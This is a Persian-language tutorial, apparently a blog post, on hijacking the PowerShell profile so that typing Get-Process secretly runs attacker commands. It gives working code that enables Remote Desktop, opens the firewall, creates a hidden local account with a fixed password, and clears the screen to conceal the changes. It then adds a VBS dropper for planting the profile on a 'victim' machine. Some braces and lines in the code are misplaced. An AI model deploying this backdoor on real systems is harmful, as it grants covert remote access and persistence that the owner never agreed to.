تزریق در فرامین powershell ویندوز
در اینجا ما قصد داریم بحثی مطرح کنیم که در آینده و یا حال میتوان سو استفاده های فراوانی از آن میشه انجام داد و یا خیر جهت اهداف امن سازی از آن استفاده کرد . من متوجه وجود یک آسیب پذیری در powershell شدم که از طریق اون می توان به یک فرمان دستور جدیدی دارد مثلا فرمان Get-process در حالت پیش فرض لیستی از process های در حال اجرا را به ما نشان می دهد اما ما می توانیم به آن بگوییم که لیست process ها را به ما نشان نده بلکه اول بیا یک user ایجاد کن پسورد user را مقدار X بکن و سپس ریموت دستکات را فعال کن و در این فرامین که اجرا شده را از دید کاربر پاک کن و سپس لیست پروسه ها را برایمان بیاور و یا نه کلا لیست پروسس ها رو هم برایمان نیار یک فرمان دیگه رو اجرا کن .
این کار با استفاده از پروفایل های powershell انجام پذیره
اول از همه با ایتفاده از فرمان زیر تست میکنیم ببینیم پروفایل وجود داره یا خیر
test-path $profile
در صورتی که جواب False باشد که به این منظور است که پروفایل هنوز ایجاد نشده و باید با فرمان زیر پروفایل را ایجاد کرد
new-item -path $profile -itemtype file –force
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved .
PS C:\Users\Micr0s0ft> new-item -path $profile -itemtype file -force
Directory: C:\Users\Micr0s0ft\Documents\WindowsPowerShell
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/2/2014 12:21 AM 0 Microsoft.PowerShell_profile.ps1
در اینجا می گوید که پروفایل در مسیر C:\Users\Micr0s0ft\Documents\WindowsPowerShell با اسم Microsoft.PowerShell_profile.ps1 ایجاد شد .
حال شما می توانید با استفاده از فرمان notepad $profile آن را باز نمایید جهت انجام عملیات تغییر فرامین
کار را با یک مثال آغاز و به اتمام می رسانیم
می خواهیم بگوییم وقتی کاربر فرمان get-process را وارد کرد به جای اینکه این فرمان اجرا شود مراحل زیر بر روی کامپیوتر قربانی طی شود .
1 – ریموت دسکتاپ بر روی سیستم فعال شود .
2 – یک یوزر با نام moslem و پسورد l4tr0d3ctism ایجاد شود .
3 – امکان استفاده از ریموت دسکتاپ در فایروال صادر شود .
4 – و ارتباط امن RDP هم تصدیق شود .
5 – صفحه از مراحل انجام شده پاک شود .
6 – لیست پروسه ها برای کاربر آورده شود و فرمان Get-process اجرا شود .
7- در نهایت فایل CALC.exe اجرا شود .
برای اینکار باید به شکل زیر عمل کرد کد زیر را در پروفایل کپی کنید
function command-name{
(command1)
(command2)
.
.
.
(command n)
}
یعنی به شکل زیر برای get-process
}function get-process
(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0)
(Enable-NetFirewallRule -DisplayGroup "Remote Desktop")
(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1 )
(clear)
(get-process)
{(Invoke-Item C:\Windows\System32\calc.exe)
دقیقا به همان شکل که گفتیم حال اگر کاربر فرمان Get-process راایجاد کند مراحل بالا اجرا می شود . شما می توانید هر کدام از فرامین را که بخواهید جایگزین کنید و آن را به دلخواه تغییر بدید .
حالا شما جهت حرفه ای تر شدن کار می توانید مراحل را به شکل زیر انجام دهید در صورتی که دسترسی ریموت داشتید به سیستم می توانید با اجرای کد زیر در سیستم قربانی مراحل را انجام دهید
یک فایل VBS ایجاد کنید از قبل و کد زیر را در آن بریزد
با استفاده از این کد شما می توانید فرمانی که مد نظرتون می باشد را داخل یک فایل متنی با نام Microsoft.PowerShell_profile.txt که همان نام پروفایل پاور شل می باشد بریزید و سپس آن را در مسیر
'sakhtane file text dim filesys, demofolder, filetxt Set filesys = CreateObject("Scripting.FileSystemObject") Set demofolder = filesys.GetFolder("C:\Users\Micr0s0ft\Documents\WindowsPowerShell") Set filetxt = demofolder.CreateTextFile("Microsoft.PowerShell_profile.txt", True) filetxt.WriteLine("function get-process {") filetxt.WriteLine("(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name fDenyTSConnections -Value 0)") filetxt.WriteLine("(net user moslem l4tr0d3ctism /add)") filetxt.WriteLine("(Enable-NetFirewallRule -DisplayGroup Remote Desktop)") filetxt.WriteLine("(set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name UserAuthentication -Value 1 )") filetxt.WriteLine("(clear)") filetxt.WriteLine("(get-process)") filetxt.WriteLine("}") filetxt.Close 'taghire name an be passvande ps1 Dim Fso Set Fso = WScript.CreateObject("Scripting.FileSystemObject") Fso.MoveFile " Microsoft.PowerShell_profile.txt", " Microsoft.PowerShell_profile.ps1"